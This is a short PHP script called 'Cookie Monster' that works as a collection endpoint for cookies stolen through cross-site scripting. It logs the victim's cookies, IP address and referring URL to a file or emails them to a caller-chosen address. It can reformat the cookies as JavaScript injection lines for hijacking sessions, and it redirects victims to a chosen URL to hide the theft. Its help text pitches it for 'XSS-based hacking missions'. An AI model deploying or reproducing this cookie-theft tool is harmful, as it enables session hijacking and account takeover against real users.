Cookie Monster

<?php
if(isset($_GET["cookies"])&&$_GET["cookies"]!="")
{
	$string="";  
    $string.=date("jS \of F, o, \a\\t H:i:s:\r\n");
    $string.="From: ";
    $string.=$_SERVER["REMOTE_ADDR"]."\r\n";
    if(isset($_GET["name"])&&$_GET["name"]!="")
    {
        $string.="For: ".$_GET["name"];
        if(isset($_GET["email"])&&$_GET["email"]!="")
        {
            $string.=" (".$_GET["email"].")";
        }
        $string.="\r\n";
    }
    $string.="Referring URL: ".$_SERVER['HTTP_REFERER']."\r\n";
    if(isset($_GET["explode"]))
    {
    	$string.="Cookies (exploded form):\r\n";
        $nomnomnom="";
 	    $cookies = explode(';', $_GET["cookies"]);
		if (is_array($cookies) && $incoming_cookie !== 'None')
		{
    			foreach ($cookies as $cookie)
    			{
    				if($cookie=="")
    				{
    					break;
    				}
        			$nomnomnom .= 'javascript:void(document.cookie="' . trim($cookie) . '")' . "\n";
    			}
		}
		$string.=$nomnomnom."\r\n\r\n";
    }
    else
    {
    	$string.="Cookies:\r\n";
    	$string.=$_GET["cookies"]."\r\n\r\n";
    }
    if(isset($_GET["email"])&&$_GET["email"]!="")
    { 
    	mail($_GET["email"],"Cookies", "Hi there! Ultraminor's cookie thief nommed some cookies for you:\r\n\r\n".$string,'From: Ultraminor ultraminor@ultraminor.x10.mx');
    }
    else
    {
    	$f=fopen("cookies/cookies.txt","a");
        if(!$f){die("Error");}
    	fwrite($f,$string);
    	fclose($f);
    }
    if(isset($_GET["bounce"]))
    {
          if(strpos($_GET["bounce"],"http://ultraminor.x10.mx")!==false||strpos($_GET["bounce"],"http://www.ultraminor.x10.mx")!==false)
          {
              $_GET["bounce"]="http://google.ca";
          }
  	  header("Location: ".$_GET["bounce"]);
          exit();
    }
    else
    {
        echo "A-Ok";
    }
}
else
{
    echo "<p style='font-family: Verdana'></br>Required params:</br>cookies: The document.cookie of your 'user'</br></br>Optional:</br>name: Used to add your name to the cookies file</br>explode: Makes the script write in JS injection format</br>bounce: Specifies a url to redirect to once cookies have been munched</br>email: Redirects the script output from the cookie jar to a specified email</br></br>If you use this cookie 'handler' for XSS-based hacking missions, PLEASE make sure to specify the email field. Don't spoil missions for others.</p>";
}
?>